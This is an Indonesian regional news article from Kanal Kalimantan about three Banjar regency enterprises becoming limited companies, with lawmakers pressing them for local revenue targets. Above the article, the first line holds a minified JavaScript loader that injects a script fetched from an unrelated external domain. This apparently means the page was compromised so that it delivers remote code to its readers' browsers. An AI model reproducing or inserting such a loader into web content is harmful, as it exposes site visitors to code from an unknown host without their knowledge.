(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Berubah Jadi Perseroan Terbatas, 3 Perusda Banjar Dituntut Target PAD


MARTAPURA, Tiga perusahaan daerah milik Pemkab Banjar, Perusahaan Daerah Pasar Bauntung Batuah (PD PBB), Perusahaan Daerah Air Minum (PDAM) Intan Banjar, dan Perusahaan Daerah (PD) Baramarta harus meningkatkan kinerja usaha masing-masing untuk kesejahteraan masyarakat.

Permintaan itu disampaikan Ketua Fraksi PDI P-Hati Nurani DPRD Banjar, Yunita Ningsih, saat menyatakan tentang sikap fraksi mereka terhadap tiga perusahaan daerah yang diubah bentuk status badan hukum.

Menurut Yunita, ketika diubah menjadi PT (perseoran terbatas), ada amanat yang berbeda ketika masih berbentuk BUMD. Ada sistem manajemen perusahaan yang sangat penting diperhatikan.

Fraksi PDIP-Hati Nurani, ujar Yunita Ningsih, meminta pemerintah daerah mengkaji aspek negatif dan positif ketika diubah menjadi perseroan terbatas.

Perubahan itu sangat banyak jika dipandang dari segi fungsi, visi, dan misi perusahaan serta strategi perusahaan. “Perubahan ini harus memberikan pengalaman berharga untuk daerah. Kami tetap mendukung asalkan tidak berjalan di tempat. Kita tunggu target PAD yang bisa mereka berikan untuk daerah,” tutur Yunita Ningsih.

Tanggapan serupa sebelumnya juga pernah diutarakan Ketua Banleg DPRD Banjarm Andin Sofyan Noor. Mengacu pada UU 23 tahun 2014 dan PP 54 tahun 2017 tentang Badan Usaha Milik Daerah (BUMD), rancangan Perda publik yang diubah menjadi Perda provit, mengenai BUMD dan salah satu syarat sesuai dengan agenda Banmus mengenai perubahan naskah akademik. Langkah ini sebagai tujuan memberikan khasanah yang lebih luas sehingga dalam menulis dan melihat tidak main-main.

Jajaran perusahaan daerah juga dituntut dapat melihat identifikasi masalah. Dimana nantinya dapat dijawab oleh perusahaan daerah akan berubah status dari perusahaan daerah menjadi Perseroda hingga Perusahaan Umum Daerah (Perumda).

“Tidak hanya berdasarkan konteks yuridis bahwa UU 23 yang mengharuskan adanya perubahan bentuk, namun kita harus tahu arah tujuan dan kiblatnya, sehingga dibuatlah naskah itu dan dapat fokus terhadap permasalahan tekhnis, seperti masalah berapa modal yang ditempatkan mengenai kewenangan DPRD, direksi hingga sumber kekayaan,” jelasnya. (rendy)

Reporter : Rendy
Editor : Bie

Desy Arfianty

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

1 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

9 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

12 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

16 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

17 jam ago

This website uses cookies.